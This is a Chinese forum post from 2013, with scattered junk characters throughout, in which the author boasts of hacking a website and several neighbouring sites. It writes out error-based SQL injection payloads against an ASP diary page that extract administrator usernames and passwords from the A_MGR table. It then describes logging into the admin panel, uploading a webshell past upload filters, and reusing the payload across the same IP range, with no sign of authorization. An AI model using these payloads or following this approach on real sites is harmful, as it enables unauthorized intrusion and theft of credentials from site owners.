发现一个注入点0 G. {: J* h7 U8 T9 U: M, |
http://www.xxx.com /Diary_A.asp?UBID=&DCID=DC2012050610553697&DIID=DI2012050610583389
+ V9 @: T! |% U4 K3 R( Y* L3 w* O/ c2 H2 T
习惯性的加’having1=1--5 K' p) u, K1 a. \
% [" `( F$ T' j9 h% A7 \
http://www.xxx.com.tw/Diary_A.asp?UBID=&DCID=DC2012050610553697&DIID=DI2012050610583389’having 1=1—5 l( m9 ?8 ~- a* Z: F# _
6 Z3 a: F9 \0 m3 j; B" p
0
" E6 w. ~* u5 }# q: ~9 i
2 p% x7 P+ }8 j6 u7 r爆出Diary_A.dl_Title（这时候很激动啊）5 X) s3 r: R+ e* J. V
2 F$ D. j$ E b% I
那么继续
7 s( o* D! d+ w. p5 ]6 ~3 [# L+ ]( jhttp://www.xxx.com.tw/Diary_A.asp?UBID=&DCID=DC2012050610553697&DIID=DI2012050610583389’group by dl_Title having 1=1—
, |: ]- s; }6 P* p! I/ t! K3 }0 X: c4 R
继续，一直爆下去
4 L5 ]! b7 \: Z- W( g* c/ w& H* H
爆到几个字段和表段 但是没找到需要的管理用户的字段3 K. z8 z# d) \
* u' x0 {- |: ~8 s+ a
蛋疼了 怎么办 然后去后台登陆页看源码
4 a& O" Z- K! P- _! F
; r* i4 q; `. w% j. U0
' C! P% w0 S3 K2 y+ d" S! k# P9 y2 }! ~+ u* R+ e
Input name= “ADUID”
; C; r+ B+ N: Z5 y1 BInput name= “ADPWD”0 A" g+ _: C: c1 ?
$ P/ b- _- u7 S- e很幸运 找到了字段那就继续
0 W" K' O$ W+ h2 k; w* Z: ^3 B找到之后开始爆用户7 K8 v# g- s9 m# X& Y6 O
http://www.xxx.com.tw/Diary_A.asp?UBID=&DCID=DC2012050610553697&DIID=DI2012050610583389'and(select top 1 MGR_UID from A_MGR)>0—5 q; Z" N5 Y- _& i! _, ?5 R: A
爆密码+ Y& P. T( a5 p7 s% P6 p
http://www.xxx.com.tw/Diary_A.asp?UBID=&DCID=DC2012050610553697&DIID=DI2012050610583389'and(select top 1 MGR_PWD from A_MGR)>0—& G6 c8 j3 n; C# G1 A% R
测试了下 这个注入点只能爆到文章哪里的表
* M& I/ h; [! t7 m% U6 G$ ?+ U7 {7 q8 { o8 D; G% j: P4 Q8 X
头疼 继续 既然只能报道文章哪里的表去后台爆 不过后台字符限制了
, X+ a( n. r. y/ G
; S4 F( Y4 k. I i( Y# Y6 ^! Z3 O又想到 用户登录哪里也可以的吧就去试试 果然 今天我很幸运吧 爆出来了
1 D! W4 W2 B5 g) l g; ~( R, ^6 w+ ^' x: d; n/ A* r3 J! L
473
. ?( q* k( T; D n
! Z. l" S" W7 B" d* C. n进后台
; a& g4 @, v/ \* B. Z4 P4 R b& h; P/ ?7 H- k
6 Z( d- T" c/ W; l$ s& ~/ \发现几个上传点 有的地方不能上传 而且防止恶意代码" ]& N# h0 S0 [ R2 W: c# C
* W7 f# z) C9 D1 L, q. Q
没办法 各种百度各种找大牛 找到一只好像可以突破的马
) o7 Z5 F! F4 H* J* N0 ]( G) G/ D, g9 V2 K0 p
4 U, v5 _7 J. O- Y2 B+ a1 i
在系统管理那里直接上传 不过没有显示地址
& @: j, ^& q m/ `! Q7 }; h9 M+ i$ h; J1 W
再上传一次 抓包 搞定OK- T6 i' Y' a; k" `# x
" j1 U. `2 U8 }! g. B z' e
* O# B3 ~2 \, }% S
- n, x4 ~' r/ k- |472
; T% K5 r" o$ J& A5 t% Q% @& j+ W h: v+ ]7 P* f
晚上不行了 去睡觉。。。
1 g; E# n1 h. R第二天刚起床 闲的没事做继续日站吧 " i( P2 ~: H+ b8 I0 v( e
c1 H: | a8 O! D. l找个站 就把这个站的旁c扫了下7 \( p% y8 E8 f) c
2 N2 h$ W- \8 C8 V+ I
发现c段也有一个购物站 ，然后还和这个站的模板差不多
; ~) q4 J( o3 {) h" f9 [% b1 D( l3 G; @# H: s
就找到会员登录口测试
- I1 k5 x$ Y0 d( D7 s: ]) G6 z* j8 E+ [9 t5 E$ D
'and (select top 1 MGR_UID from A_MGR)>0—: b$ z3 G: _5 R; P1 [/ g& V
果断爆到了 这时候我很激动 通杀
6 ~ ^. Y+ g' V" n
_' Z' k* K/ y4 U0 {再次翻c段/ c1 D% o* S# f0 `: r5 T$ y
/ |& R2 o$ f3 S0 v
翻出几个站 都成功拿下
2 j( f( \0 W: H" L- _' v' X0 r
D8 P# w% g$ o4 _- u) h5 m v8 y4 g W
1 n! k# {; D* f8 ]
修复方案：
) b7 u/ p! V( A" r3 x4 O他们比我专业
3 y$ h) ?+ `: w' Q% ^& c' e) z6 B6 Z& Z, T8 }! O
7 S D- a) m% X. X' w: k
- n: ]7 T/ v9 O& s- u |
发表于 2013-4-4 17:40:38
收藏
支持
反对